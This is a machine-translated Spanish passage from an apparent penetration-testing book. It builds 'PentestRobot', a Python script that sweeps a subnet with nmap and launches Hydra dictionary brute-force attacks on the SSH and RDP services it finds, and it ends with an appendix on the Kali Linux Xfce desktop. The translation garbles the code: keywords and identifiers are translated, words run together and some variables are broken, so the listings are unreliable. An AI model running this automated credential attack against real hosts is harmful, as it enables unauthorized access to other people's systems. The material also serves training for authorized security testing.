#. / pentest_robot.py WelcomeToPentestRobot ############################ ####### ##### Ingrese una IP única por rango en formato CIDR (por ejemplo, 192.168.0.0 / 24): IP / CIDR> 172.16.0.0/24 [i]Comprobando hosts vivos… [+]172.16.0.1isup [+]172.16.0.2isup [+]172.16.0.100isup [+]172.16.0.103isup [+]172.16.0.107isup [i]Iniciando Nmapportscanonhost172.16.0.1 ####################################### ###### [i]IniciandoNmapportscanonhost172.16.0.2 [+]PortOpen:3389/ tcp,ServiceName:ms-wbt-server [i]IniciandoRDPBruteForceonhost172.16.0.2 ############################################ [i]IniciandoNmapportscanonhost172.16.0.100 [+]PortOpen:3389/ tcp,ServiceName:ssl/ms-wbt-server? [i]IniciandoRDPBruteForceonhost172.16.0.100 ###################################### ######## [i]Iniciando Nmapportscanonhost172.16.0.103 ############################################ [i]IniciandoNmapportscanonhost172.16.0.107 [+]PortOpen:22/ tcp,ServiceName:ssh [i]IniciandoSSHBrute-Forceonhost172.16.0.107 #################### ########################### [*]PentestRobotTerminóLaEjecución! Canal de Telegram : @IRFaraExam Machine Translated by Google Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 18.1 Flujo de trabajo de la aplicación NOTA El código fuente completo de este capítulo estará disponible para su descarga en GitHubat github.com/GusKhawaja/PentestRobot. Paquetes de Python Antes de comenzar a desarrollar esta aplicación, veamos un truco para instalar paquetes de Python a través de la línea de comandos. $aptupdate $aptinstallpython3-pip Por ejemplo, yapf es un formateador de Python que lo ayudará a formatear su código fuente de Python (para un desarrollo de código limpio). Para instalarlo en Kali, puede usar pip3 para hacer el trabajo, como se muestra aquí: root@kali:~#pip3installyapf Siempre que quiera usar un paquete nuevo, VSCode usará pip3 para instalarlo (puede usar yapf para formatear su código Python dentro de VSCode). Por lo tanto, necesitará instalar pip3 antes de desarrollar una aplicación completa (como la que estamos construyendo en este capítulo). Inicio de la aplicación En esta sección, comenzaremos a crear esta aplicación. Crearemos cada pieza según el diagrama de flujo de trabajo de la Figura 18.1 . El primer paso es imprimir un banner y asegurarse de que el usuario entienda lo que necesita ingresar. Hay una técnica en Python que no cubrimos en el capítulo anterior. Esta condición ( sentencia if ) se llama al principio cuando se carga la aplicación. De hecho, aquí es donde vamos a insertar nuestras tareas de inicio. El formato de la sentencia if se verá así: Canal de Telegram : @IRFaraExam Machine Translated by Google if__name__=='__principal__': [Aquí, agrega el script que se ejecutará primero] No te preocupes, entenderás en el siguiente ejemplo cómo funciona. Insertaremos toda la lógica de carga dentro de esta condición (porque necesitamos que se ejecuten primero): #!/usr/bin/python3 if__name__=='__principal__': """ Aquí es donde se llama por primera vez a la aplicación """ #printBanner print("BienvenidoaPentestRobot") print("##########################") print("Ingresar un solo IPorRangoenformatoCIDR(eg192.168.0.0 /24):") #userinput cidr_input=input("IP/CIDR>") imprimir(cidr_input) Guarde el script y llámelo pentest_robot.py . El resultado de este script se verá así (tenga en cuenta que estoy usando Visual Studio Code en la unidad): Bienvenido a PentestRobot ########################## Ingrese un solo IPorRango en formato CIDR (por ejemplo, 192.168.0.0 / 24): IP / CIDR> 172.16.0.1 172.16.0.1 Validación de entrada Ahora es el momento de abordar el segundo paso en el diagrama de flujo de trabajo de la aplicación, y es la validación de entrada. El usuario ingresará una sola dirección IP o un rango en formato CIDR. raw.githubusercontent.com/python/cpython/3.9/Lib/ipaddress.py A continuación, importe este módulo usando la siguiente línea: fromipaddressimportip_network Canal de Telegram : @IRFaraExam Machine Translated by Google Dado que usaremos el método ip_network, use la sintaxis de puerto para que esto suceda. Este patrón evitará que repitamos la misma sintaxis ip_network repetidamente en nuestro script : #!/usr/bin/python3 fromipaddressimportip_network defvalidar_entrada(cidr_entrada): """ Validateuserinput-IPAddressCIDRformat """ hosts=[] prueba: hosts=list(ip_network(cidr_input).hosts()) excepto: imprimir ('Entrada no válida! Ejemplo de rango de CIDRIP válido: 192.168.0.0/24') volver Ninguno volverhosts if__name__=='__principal__': """ Aquí es donde se llama por primera vez a la aplicación """ #printBanner print("BienvenidoaPentestRobot") print("##########################") print("Ingresar un solo IPorRangoenformatoCIDR(eg192.168.0.0 /24):") #userinput cidr_input=entrada("IP/CIDR>") hosts=validate_input(cidr_input) Para garantizar la calidad, probemos los tres casos de escenario: Entrada de una sola dirección IP Entrada de rango de CIDR válido Una entrada de rango de CIDR no válida Escenario 1: IP única (expectativa: sin errores): Bienvenido a PentestRobot Canal de Telegram : @IRFaraExam Machine Translated by Google ########################## EnterasingleIPorRangeinCIDRformat (por ejemplo, 192.168.0.0 / 24): IP / CIDR> 172.16.0.1 root ali kali: # Escenario 2: rango válido de direcciones IP (expectativa: sin errores): WelcomeToPentestRobot ######################### Ingrese un solo IPorRango en formato CIDR (por ejemplo, 192.168.0.0 / 24): IP / CIDR> 172.16.0.0/24 root Kali: # Escenario 3: formato CIDR no válido (expectativa: un mensaje de error debe imprimirse): WelcomeToPentestRobot ######################### Ingrese un solo IPorRango en formato CIDR (por ejemplo, 192.168.0.0/24): IP/CIDR> 172.16.0.1/24 ¡Entrada no válida! Ejemplo de rango CIDRIP válido: 192.168.0.0/24 root @ kali: # Refactorización de código Una metodología de refactorización de codificador se asegurará de evitar prácticas terribles de programación (como copiar el mismo código en varios lugares, etc.). Los programadores hablan de esto todos los días, por lo que desarrollan un código fuente limpio. ¿Cómo podemos aplicar este principio a nuestra aplicación? 1. Tendremos que imprimir una línea de separación en varios lugares. 2. Tendremos que ejecutar comandos en varios lugares. Crearemos un objeto de clase llamado UTILIDADES y agregaremos dos métodos que cubrirán los dos escenarios: clase de subproceso de importación UTILIDADES: def__init__(self): """ constructor de clases """ defseparator_line(self):return"###############################" Canal de Telegram : @IRFaraExam Machine Translated by Google defexecute_command(self,cmd): """ Esta función ejecutará el comando de ventana terminal """ #declarethecommandoutputvariable cmd_output= "" intente: cmd_output=subprocess.check_output(cmd,shell=True, stderr=subproceso.STDOUT) cmd_output=cmd_output.decode("utf-8") cmd_output+="\n%s\n"%self.seperator_line() exceptoExceptionase: print(str(e)) print("Errorcannotexecutethecmd: %s"%cmd) finalmente: returncmd_output Escaneo de hosts activos El siguiente paso en el diagrama de flujo de trabajo es buscar hosts activos. Usaremos Nmap para realizar el trabajo en función de la entrada del usuario (IP única versus rango): classHostScan: def__init__(self,host_ip): """ constructor de clases """ self.host_ip=host_ip self.util=UTILIDADES() defis_host_live(uno mismo): """ Comprobar si un host está activo y ejecutándose en la red """ nmap_cmd="nmap-sn%s"%self.host_ip nmap_output=self.util.execute_command(nmap_cmd) if("1hostup"innmap_output): print("[+]%sisup"%self.host_ip) returnTrue else: returnFalse defvalidar_entrada(cidr_entrada): """ Validateuserinput-IPAddressCIDRformat Canal de Telegram : @IRFaraExam Machine Translated by Google """ hosts=[] try: hosts=list(ip_network(cidr_input).hosts()) excepto: print('Invalidinput! AvalidCIDRIPrangeexample:192.168.0.0/24') volver Ninguno volverhosts if__name__=='__principal__': """ Aquí es donde se llama por primera vez a la aplicación """ útil = UTILIDADES () #printBanner print("WelcomeToPentestRobot") print(util.separator_line()) print("EnterasingleIPorRangeinCIDRformat(eg192.168.0.0/24):") #userinput cidr_input=entrada("IP/CIDR>") hosts=validate_input(cidr_input) #iftheCIDRvalueisvalid if(hosts! =Ninguno): print("\n[i]Comprobando hosts activos...") LIVE_HOSTS=[] forhostinhosts: escáner=HostScan(host) if(scanner.is_host_live()): LIVE_HOSTS.append(host) print(LIVE_HOSTS) Para probar esta nueva pieza de código, implementaremos los siguientes dos casos de prueba: ConunaúnicadirecciónIP(queseestáejecutando) ConunrangodedirecciónIP(subredcompleta) Escenario 1 (expectativa:hostislive): WelcomeToPentestRobot ############################################# EnterasingleIPorRangeinCIDRformat (por ejemplo, 192.168.0.0/24): Canal de Telegram : @IRFaraExam Machine Translated by Google IP/CIDR> 172.16.0.1 [i]Comprobando hosts activos... [+]172.16.0.1isup [Dirección IPv4('172.16.0.1')] root@kali:~# Escenario 2 (expectativa: detectar los hosts activos correctamente en la red): WelcomeToPentestRobot ############################# (por ejemplo, 192.168.0.0 / 24): IP / CIDR> 172.16.0.0/ 24 [i]Comprobando hosts activos… [+]172.16.0.1isup [+]172.16.0.2isup [+]172.16.0.100isup [+]172.16.0.103isup [+]172.16.0.107isup [IPv4Address('172.16.0.1'), DirecciónIPv4('172.16.0.2'),DirecciónIPv4('172.16.0.100'),DirecciónIPv4('172.16.0.103'),DirecciónIPv4('172.1 Escaneo de puertos y servicios En esta etapa, tenemos una lista de las direcciones IP de los hosts en vivo. A continuación, escanearemos cada host en vivo encontrado en el paso anterior y buscaremos dos puertos abiertos, 22 y 3389. Otro desafío en este paso es formatear la salida de Nmapscan . para puertos abiertos 22 y 3389. 2. Cree un segundo método (llamado parse_nmap_output ) que analizará la salida de escaneo deportivo de Nmap y devolverá una lista de elementos de servicio personalizados ( Service DTO ). 3. Cree una clase llamada servicio DTO (DTO significa objeto de transferencia de datos) que se usará en el valor de retorno del método anterior. 4. Por último, llame al método de exploración de puertos desde la sección principal de la aplicación. Primero, cree los dos métodos dentro de la clase HostScan : Canal de Telegram : @IRFaraExam Machine Translated by Google classHostScan: def__init__(self,host_ip): """ constructor de clases """ self.host_ip=host_ip self.util=UTILIDADES() defis_host_live(uno mismo): """ Comprobar si un host está activo y ejecutándose en la red """ nmap_cmd="nmap-sn%s"%self.host_ip nmap_output=self.util.execute_command(nmap_cmd) if("1hostup"innmap_output): print("[+]%sisup"%self.host_ip) returnTrue else: returnFalse defport_scan(auto): """ los puertos pueden ser un host, también puede agregar una versión para obtener la información sobre el servicio. """ print("[i]IniciandoNmapportscanonhost%s"%self.host_ip) nmap_cmd="nmap-sVp22,3389--open%s"%self.host_ip nmap_output=self.util.execute_command(nmap_cmd) returnnmap_output defparse_nmap_output(self,nmap_output): """ resultados de parsethenma """ service:names_list={} nmap_output=nmap_output.split("\n") foroutput_lineinnmap_output: output_line=output_line.strip() services_list=[] #ifportisopen if("tcp"inoutput_line)and("open" inoutput_line)andnot("Discovered "inoutput_line): #cleanupthespaces while""inoutput_line: output_line=output_line.replace("","") Canal de Telegram : @IRFaraExam Machine Translated by Google #Splittheline output_line_split=output_line.split("") #La tercera parte de la división es el servicio de nombre de servicio: nombre = salida_línea_división [2] #Laprimerapartedeladivisióneselnúmerodepuertoport_number=output_line_split[0] #Gettheservicedescription salida_línea_dividida_longitud=largo(salida_línea_dividida) end_position=salida_línea_dividida_longitud-1 posición_actual=3 servicio:descripción= '' whileposición_actual<=posición_final: ' ' servicio:descripción+=posición_actual] +output_line_split[ posición_actual+=1 #CreatetheserviceObject service=ServiceDTO(número_puerto, servicio:nombre, servicio:descripción) #Asegúresedeagregarunnuevoserviciosiyaexisteotroenunnúmerodepuertodiferente ifservice:nombreenservicio:lista_de_nombres: #Obtenerlosobjetosqueseguardaronpreviamente services_list=service:names_list[service:name] services_list.append(servicio) print("[+]PortOpen:%s,ServiceName:%s"%(service.port,service.name)) servicio:lista_de_nombres[servicio:nombre]=lista_de_servicios servicio de devolución: lista_de_nombres En segundo lugar, cree la clase DTO; este objeto contendrá la información sobre cada servicio que se encuentra en la salida de Nmap: claseServicioDTO: """ Esta clase DTO de servicio mantendrá el valor del objeto después de una nmapscan """ #ClassConstructor def__init__(self,puerto,nombre,descripción): self.description=descripción Canal de Telegram : @IRFaraExam Machine Translated by Google self.port=puerto self.name=nombre Finalmente, llame al método Nmapscan desde la sección principal: if__name__=='__principal__': """ Aquí es donde se llama por primera vez a la aplicación """ útil = UTILIDADES () #printBanner print("WelcomeToPentestRobot") print(util.separator_line()) print("EnterasingleIPorRangeinCIDRformat(eg192.168.0.0/24):") #userinput cidr_input=entrada("IP/CIDR>") hosts=validate_input(cidr_input) #iftheCIDRvalueisvalid if(hosts! =Ninguno): print("\n[i]Comprobando hosts activos...") LIVE_HOSTS=[] forhostinhosts: escáner=HostScan(host) if(scanner.is_host_live()): LIVE_HOSTS.append(host) print("\n") #ifwehavelivehosts if(len(LIVE_HOSTS)>0): forlive_hostinLIVE_HOSTS: scanner_live_hosts=HostScan(live_host) port_scan_results=scanner_live_hosts.port_scan() parsed_nmap_results=scanner_live_hosts.parse_nmap_output(port_scan_results) Es hora de probarlo. Usaremos un escenario de casos de prueba (usando un rango de direcciones IP) donde ya conocemos los servicios de cada uno. El objetivo es probar la precisión de los resultados del escaneo de puertos: WelcomeToPentestRobot ############################################# EnterasingleIPorRangeinCIDRformat (por ejemplo, 192.168.0.0/24): Canal de Telegram : @IRFaraExam Machine Translated by Google IP/CIDR> 172.16.0.0/24 [i]Comprobando hosts vivos… [+]172.16.0.1isup [+]172.16.0.2isup [+]172.16.0.100isup [+]172.16.0.103isup [+]172.16.0.107isup [i]IniciandoNmapportscanonhost172.16.0.1 [i]IniciandoNmapportscanonhost172.16.0.2 [+]PortOpen:3389/ tcp,ServiceName:ms-wbt-server [i]IniciandoNmapportscanonhost172.16.0.100 [+]PortOpen:3389/tcp,ServiceName :tcpwrapped [i]IniciandoNmapportscanonhost172.16.0.103 [i]IniciandoNmapportscanonhost172.16.0.107 [+]PortOpen:22/ tcp,ServiceName:ssh Atacar las credenciales y guardar los resultados Esta es la etapa final de esta aplicación. En esta fase, utilizaremos un ataque adicional contra los servicios del paso de exploración de puertos . Llamaremos al comienzo de esta fase enumeración (es un nombre más suave que la palabra ataque), y en lugar de ataque de diccionario, lo llamaremos la etapa de fuerza bruta. Estas son las principales funciones que usaremos en este último paso: 1. Cree una clase llamada EnumerateHost . 2. Cree un método (llamado inicio ) dentro de la clase anterior que iniciará el fase de ataque 3. Agregue un método de fuerza bruta dentro de la misma clase que ejecutará el ataque de diccionario usando Hydra. Esta función usará archivos de diccionario de nombre de usuario y contraseña personalizados (guardados dentro de la carpeta de recursos). 4. Agregue un método final que guardará los resultados de este ataque de diccionario en un archivo dentro del directorio de informes (los cánceres guardan los resultados de cada host en un archivo diferente). 5. Finalmente , llame a los métodos de clase de EnumerateHost desde la sección principal de este solicitud. Primero, cree la clase EnumerateHost y sus métodos. Además, importe un módulo os adicional : Canal de Telegram : @IRFaraExam Machine Translated by Google importos classEnumerateHost: def__init__(self,nmap_results,host_ip): """ ClassConstructor """ self.nmap_results=nmap_results self.host_ip=host_ip self.util=UTILIDADES() defstart(uno mismo): """ Iniciarunprocesodenumeración """ '' output=forservice:nameinself.nmap_results: ifservice:name=="ssh": output+=self.bruteforce:ssh() elif"ms-wbt-server"inservice:name: output+=self.bruteforce:rdp() self.save_results(salida,'./informes',str(self.host_ip)+".txt") defbruteforce:ssh(uno mismo): """ Fuerza brutaSSHTarget """ print("[i]IniciandoSSHBrute-Forceonhost%s"%self.host_ip) cmd='hydra-t10-ensr-L./resources/ common_users.txt-P./resources/common_passwords.txtssh://'+str( self.host_ip) salida=self.util.execute_command(cmd) salida de retorno defbruteforce:rdp(uno mismo): """ Brute-ForceRDPTarget """ print("[i]IniciandoRDPBrute-Forceonhost%s"%self.host_ip) cmd='hydra-t10-ensr-L./resources/ common_users.txt-P./resources/common_passwords.txtrdp://'+str( self.host_ip) salida = self.util.execute_command(cmd) returnoutput defsave_results(self,resultados,nombre_carpeta,nombre_archivo): """ Datos guardados en un archivo Canal de Telegram : @IRFaraExam Machine Translated by Google """ tratar: #Guardarlosresultadosenunacarpeta/archivo nombre_archivo_ruta=nombre_carpeta+"/"+nombre_archivo #Silacarpetanoexisteentoncescrearlasinoes.path.isdir(folder_name): os.mkdir(folder_name) #Sielcontenidoestávacíoentoncessalirdeestafunción if(len(resultados)==0): return #Createthefileobject file_to_save=open(file_name_path,'w') #Writethechanges file_to_save.write(resultados) #Closefileobject file_to_save.close() excepto: print("[!]Error:No se pueden guardar los resultados en un archivo") En segundo lugar, llame a los métodos de clase desde la sección principal de esta aplicación. Además, agregaremos algunos toques finales a la sección principal: if__name__=='__principal__': """ Aquí es donde se llama por primera vez a la aplicación """ útil = UTILIDADES () #printBanner print("WelcomeToPentestRobot") print(util.separator_line()) print("EnterasingleIPorRangeinCIDRformat(eg192.168.0.0/24):") #userinput cidr_input=entrada("IP/CIDR>") hosts=validate_input(cidr_input) #iftheCIDRvalueisvalid if(hosts! =Ninguno): print("\n[i]Comprobando hosts activos...") LIVE_HOSTS=[] parahostinhosts: Canal de Telegram : @IRFaraExam Machine Translated by Google escáner=HostScan(host) if(scanner.is_host_live()): LIVE_HOSTS.append(host) print("\n") #ifwehavelivehosts if(len(LIVE_HOSTS)>0): forlive_hostinLIVE_HOSTS: scanner_live_hosts=HostScan(live_host) port_scan_results=scanner_live_hosts.port_scan() parsed_nmap_results=scanner_live_hosts.parse_nmap_output(port_scan_results) enum=EnumerateHost(parss_scan) enum.start() print(util.seperator_line()) else: print("[!]Nolivehoststoscan") print("\n[*]PentestRobotTerminóLaEjecución!") Recuerde que puede descargar el código fuente completo de esta aplicación en GitHubat github.com/GusKhawaja/PentestRobot. Resumen ¿Qué sigue? Eres un entusiasta y deberías poder crear tu aplicación a partir de aquí. El objetivo principal de este capítulo era ampliar tu visión para animarte a ser el próximo creador de una nueva aplicación de Python. Idealmente, este libro le da confianza en su carrera como probador de penetración. Canal de Telegram : @IRFaraExam Machine Translated by Google APÉNDICE A KaliLinuxDesktopataGlance En el momento de escribir este artículo, la última versión de Kali Linux es 2020.1. Esta versión de Kali presenta algunas funciones nuevas y este apéndice las cubre. Utilizo el sistema operativo Kali Linux la mayor parte del tiempo durante mis compromisos, y rara vez uso el sistema operativo Microsoft Windows para este propósito. Este apéndice se enfoca en cómo administrar la interfaz del entorno de escritorio Kali Linux. Aprenderá cómo manejar este sistema operativo con facilidad y personalizarlo a su gusto. Tenga en cuenta que este apéndice cubrirá la versión 2020 y posteriores de Kali Linux, por lo que las lecciones principales de este apéndice se basan en el entorno de escritorio Xfce. Esto es lo que cubre este apéndice: DescargaryejecutarunaVMdeKaliLinux UsodelmenúdelescritorioXfced DominarlosajustesdeconfiguracióndelsistemaKaliXfce CambiandoelaspectodesuentornoKalien Instalar KaliLinux desde cero Descargar y ejecutar una VM de Kali Linux Lo primero que debe hacer es descargar una copia de VM de Kali Linux en el siguiente enlace: www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image download/ En esta página tiene tres opciones de descarga para elegir: KaliVM para VMware32/64 bits KaliVM para VirtualBox32/64 bits Canal de Telegram : @IRFaraExam Machine Translated by Google KaliVM para Hyper-V de 64 bits Una vez que descargue su VM, extraiga el archivo comprimido y abra el contenido utilizando el hipervisor de su elección. Al final de este apéndice, aprenderá cómo instalar Kali Linux desde cero utilizando una imagen ISO. (Esta instalación se recomienda para instalar Kalion como un host físico). Además, en el Apéndice B, le mostraré cómo ejecutar Kali Linux como contenedor Docker. REFERENCIA Las imágenes ARM también están disponibles para Kali Linux si posee una Raspberry Pi, por ejemplo. Estas imágenes están disponibles en el siguiente enlace: www.offensive-security.com/kali-linux-arm-images/ Si también tiene un dispositivo móvil Android, hay una versión disponible en KaliLinux, y se llama NetHunte si quieres probarlo: www.offensive-security.com/kali-linux-nethunter-download/ VirtualMachineFirstBoot Una vez que inicie su copia de VM de KaliLinux, verá el menú de carga, como se muestra en la Figura A.1. Elija Kali GNU/Linux y presione Intro. (Si no presiona nada, está bien; esta opción se elegirá de forma predeterminada después de unos segundos). Figura A.1 Elija Kali/Linux en el menú Cargar En las versiones anteriores de KaliLinux, la contraseña predeterminada era root/toor. A partir de esta versión (2020.1), Offensive Security (los creadores de KaliLinux) introdujeron el usuario no root. Entonces, el nombre de usuario es kali, y también lo es la contraseña. Canal de Telegram : @IRFaraExam Machine Translated by Google KaliXfceEscritorio A partir de la última versión de KaliLinux (2020.1), Xfce es el entorno de escritorio predeterminado. En esta sección, aprenderá cómo cambiar la apariencia del escritorio Xfcede para que pueda crear su propio entorno. Antes de esta versión, Gnome era el entorno de escritorio predeterminado, y si está interesado en volver a él, no se preocupe; aún puede elegirlo en el menú si instaló Kali desde una imagen ISO, como se muestra en la Figura A.2. Figura A.2 XfceInstallationOption Lo interesante del entorno de escritorio Xfcedes es que es liviano y funciona muy rápido, incluso con pocos recursos del sistema. Además, tiene un sistema operativo completamente personalizable y atractivo, como se muestra en la Figura A.3. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.3 Escritorio Kali KaliXfceMenú El escritorio de Xfcede en Kaliuses the Whiskermenú le brinda una experiencia de usuario agradable (ligera) . Primero descubramos las áreas principales del menú, como se muestra en la Figura A.4. Barra de búsqueda La barra de búsqueda es una forma rápida de buscar sus aplicaciones. No se limita solo a buscar aplicaciones. Esto es lo que también puede hacer: Busque las páginas de manual de Linux anteponiendo su búsqueda con el carácter # (p. ej., #ls) Busque en la Web anteponiendo su búsqueda con el ? carácter (p. ej., ?Kali Linux) Busque en Wikipedia anteponiendo sus criterios de búsqueda con! w (p. ej., !w piratería ética) Ejecute un comando en la ventana del terminal anteponiéndolo con el! carácter (p. ej., !reboot, y si no eres root !sudoreboot ) FavoritosMenúElemento Canal de Telegram : @IRFaraExam Machine Translated by Google En la Figura A.4, puede ver el elemento del menú Favoritos mal seleccionado del menú, y en el lado derecho del panel puede ver su contenido. Figura A.4 Menú Kali Si desea eliminar algún elemento de esta lista, haga clic con el botón secundario en el elemento y seleccione Eliminar de favoritos, como se muestra en la Figura A.5. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.5 Quitar de Favoritos Si desea agregar un elemento al menú Favoritos, primero busque su aplicación (p. ej., nmap) usando la barra de búsqueda, luego haga clic con el botón derecho y seleccione Agregar a favoritos, como se muestra en la Figura A.6. Figura A.6 Agregar a favoritos Aplicaciones habituales Si selecciona Aplicaciones habituales en el menú, verá todas las aplicaciones no relacionadas con las pruebas de penetración (p. ej., visor de imágenes, navegador web, etc.). Aunque no todas las aplicaciones están relacionadas, hay algunas excepciones en esta lista: Ettercap, King Phisher y XHydra. Estas son las herramientas que encontrará en esta lista: Accesorios Buscador de aplicaciones: busque y ejecute aplicaciones en Kali Canal de Telegram : @IRFaraExam Machine Translated by Google BulkRename : Cambiar el nombre de múltiples archivos CherryTree: aplicación jerárquica para tomar notas Clipman: administrador del portapapeles; una vez que su unidad, aparecerá un clip en la parte superior derecha del panel (aquí donde verá todos sus elementos copiados) DBBbrowserforSQLite : Administrador de GUI para bases de datos SQLite Mousepad: un editor de texto simplificado Notas: aplicación para tomar notas Captura de pantalla: Tome capturas de pantalla de su Kali SensorViewer : mostrar los valores del sensor de hardware Administrador de tareas : muestra los procesos actualmente en ejecución (tareas) y CPU + gráficos de memoria ThunarFileManager : administrador de archivos Vim: editor de texto Xarchiver: administrador de archivos Xfburn: herramienta de grabación de CD/DVD Gráficos RistrettoImageViewer: Imageviewerapp Xpdf: administrador de archivos PDF Internet ChromiumWebBrowser: Navegador web Firefox: navegador web Multimedia Kazam: Grabe videos y tome capturas de pantalla de su sesión ParoleMediaPlayer: reproductor multimedia PulseAudioVolumeControl:Audiovolumemanager Oficina Diccionario: Buscarpalabraseneldiccionario Otro Canal de Telegram : @IRFaraExam Machine Translated by Google KaliUndercoverMode: oculta el escritorio de Kalides cambiándolo para que se parezca a Windows 10 Sistema Gparted: administrador de particiones PrintSettings: configuración de impresoras QTerminal: ventana de terminal XfceTerminal: ventana de terminal Otros elementos de menú El elemento de menúUsados recientemente le muestra los programas que ha ejecutado recientemente. El elemento del menú Todo enumera todas las aplicaciones instaladas en Kali, y cubriré la parte de configuración en la siguiente sección. Finalmente, tiene el resto de los elementos del menú de herramientas de prueba de penetración preinstalados ( que se muestran en la Figura A.7 y agrupados por tipo de categoría de ataque). Administrador de configuración de KaliXfce Puede acceder a la configuración de Xfce desde el menú de dos maneras diferentes (ambas se muestran en la Figura A.8). La primera forma es seleccionar Configuración en el menú y todos los subelementos aparecen en el lado derecho del menú. Canal de Telegram : @IRFaraExam Machine Translated by Google Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.7 Herramientas del menú Kali Figura A.8 Menú de configuración de Kali Configuración avanzada de red En esta ventana, que se muestra en la Figura A.9, puede administrar las conexiones de red, como cableadas, inalámbricas o VPN. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.9 Administración de la red Una vez que abra esta ventana, puede agregar, quitar o cambiar la configuración de una conexión de red. Los tipos de conexiones de red que puede administrar son los siguientes: Hardware Bluetooth DSL/PPPoE ethernet InfiniBand Banda ancha móvil Wifi Virtual Vínculo Puente Túnel IP Canal de Telegram : @IRFaraExam Machine Translated by Google MACsec Equipo VLAN vpn FortinetSSLVPN Protocolo de túnel de capa 2 (L2TP) VPN compatible con CiscoAnyConnect JuniperNetworkConnect OpenVPN Protocolo de túnel punto a punto (PPTP) VPN compatible con Cisco Apariencia Esta ventana le permite configurar y cambiar la apariencia de su entorno Kali. Estilo En la pestaña Estilo, que se muestra en la Figura A.10, puede elegir el tema de su elección; de manera predeterminada, el tema Kali-Dark está seleccionado. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.10 KaliDarkTheme Iconos En la pestaña Icono, que se muestra en la Figura A.11, puede cambiar la apariencia visual de los iconos del escritorio (temas). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.11 Iconos del escritorio fuentes En la pestaña Fuentes, que se muestra en la Figura A.12, puede personalizar las fuentes en el entorno de escritorio Kali Linux Xfcede. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.12 Cambio de fuentes En esta ventana, puede hacer lo siguiente: Cambiar el estilo de fuente predeterminado Activar suavizado para suavizar los bordes de los caracteres Establezca sus puntos por pulgada (DPI más alto significa fuentes más nítidas) Configuración En Configuración, que se muestra en la Figura A.13, puede administrar los parámetros para controlar la apariencia de su Kali Linux. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.13 Configuración de apariencia Estilo de barra de herramientas: en esta opción, puede cambiar la apariencia de la barra de herramientas eligiendo una de las siguientes opciones: Iconos (solo) Solo texto) Iconos de texto Texto junto a iconos MenúsyBotones ShowImagesOnButtons muestra un icono junto a los botones de diálogo de la ventana (no los botones dentro del panel). ShowImagesInMenus muestra un icono junto a los elementos de los menús de la aplicación y el menú del panel. EnableEditableAcceleratorslepermitedefinirunatajodetecladopara elementos de menú. Sonidos de eventos Habilitar sonidos de eventos le permite escuchar sonidos de eventos (p. ej., Canal de Telegram : @IRFaraExam Machine Translated by Google insertando una memoria USB en su Kali). Habilite los sonidos de retroalimentación de entrada para reproducir sonidos de eventos, como cambiar el tamaño de la ventana o presionar un botón, etc. Escritorio Esta ventana le permite cambiar el fondo, los menús y los iconos del escritorio. Antecedentes Esta pestaña tiene muchas opciones, como se muestra en la Figura A.14, que le brindan una imagen de fondo de escritorio de aspecto atractivo. Carpeta le da la opción de cambiar la ubicación de las imágenes. El estilo controla el tamaño de la imagen que mejor se adapta a su pantalla. Aplicar a todos los espacios de trabajo utiliza la misma imagen en todos los espacios de trabajo. El color se puede usar en lugar de una imagen y se puede combinar con una imagen más pequeña/semitransparente. ChangeTheBackgroundcambialaimagenaotrautilizandounlapsodetiempoquedefina.Además,puedeseleccionar Orden aleatorio para seleccionar imágenes de la lista de forma aleatoria. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.14 Cambiar el fondo del escritorio Menús La pestaña Menú, que se muestra en la Figura A.15, le permite cambiar los menús del escritorio o de la lista de ventanas. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.15 Menú Ajustes EscritorioMenú Incluir el menú de aplicaciones en el escritorio: al hacer clic con el botón derecho, se muestra el menú de aplicaciones (el mismo que ve en el panel superior) en la parte inferior. Mostrar iconos de aplicaciones en el menú muestra iconos junto al texto en el menú desplegable de la aplicación, que se muestra en la Figura A.16. Menú de la lista de ventanas: El menú de la lista de ventanas es visible al hacer clic con el botón central del mouse (haciendo clic en la rueda de desplazamiento) . Este menú le permitirá administrar los espacios de trabajo. Consulte la Figura A.17. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.16 Menú Aplicaciones Figura A.17 Gestión de espacios de trabajo Iconos La pestaña Icono, que se muestra en la Figura A.18, le permite cambiar la apariencia de los iconos en el escritorio. Además, esta pestaña le brinda la opción de mostrar/ocultar los iconos predeterminados en el escritorio. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.18 Configuración de iconos Mostrar Esta ventana le permitirá configurar los ajustes de visualización de su monitor. Esta sección es conveniente si desea utilizar varios monitores. General La pestaña General, que se muestra en la Figura A.19, le brinda la capacidad de administrar la configuración de su(s) monitor(es) conectado(s). Para cada monitor de pantalla, puede ajustar lo siguiente: Resolución Frecuencia de actualización Rotación Canal de Telegram : @IRFaraExam Machine Translated by Google Reflexión La Figura A.19 muestra una conexión virtual que está conectada. Avanzado La pestaña Avanzado, que se muestra en la Figura A.20, le permite habilitar perfiles y guardarlos para sus monitores conectados. Administrador de archivos En File Manager, que se muestra en la Figura A.21, puede controlar el comportamiento y el aspecto del administrador de archivos en el entorno de escritorio Kali Xfcede: Figura A.19 Configuración de pantalla Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.20 Configuración de pantalla avanzada Mostrar En la pestaña Pantalla, que se muestra en la Figura A.22 , puede cambiar la configuración de vista del administrador de archivos. Puede cambiar las siguientes configuraciones para el administrador de archivos: Vistapredeterminadadenuevacarpeta/mostrarminiaturas clasificación de carpetas Si el tamaño del archivo se muestra en formato binario Si el texto se muestra junto a los iconos El formato de fecha Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.21 KaliFileManager Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.22 Preferencias de FileManager panel lateral Las tabletas del panel lateral le permiten cambiar la configuración del panel lateral en el administrador de archivos. Principalmente, puede cambiar el tamaño de los iconos. Conducta La pestaña Comportamiento, que se muestra en la Figura A.23, le permite agregar o quitar algunos comportamientos en el administrador de archivos, y puede hacer lo siguiente: Definir un clic/doble clic para activar elementos Administrar comportamientos 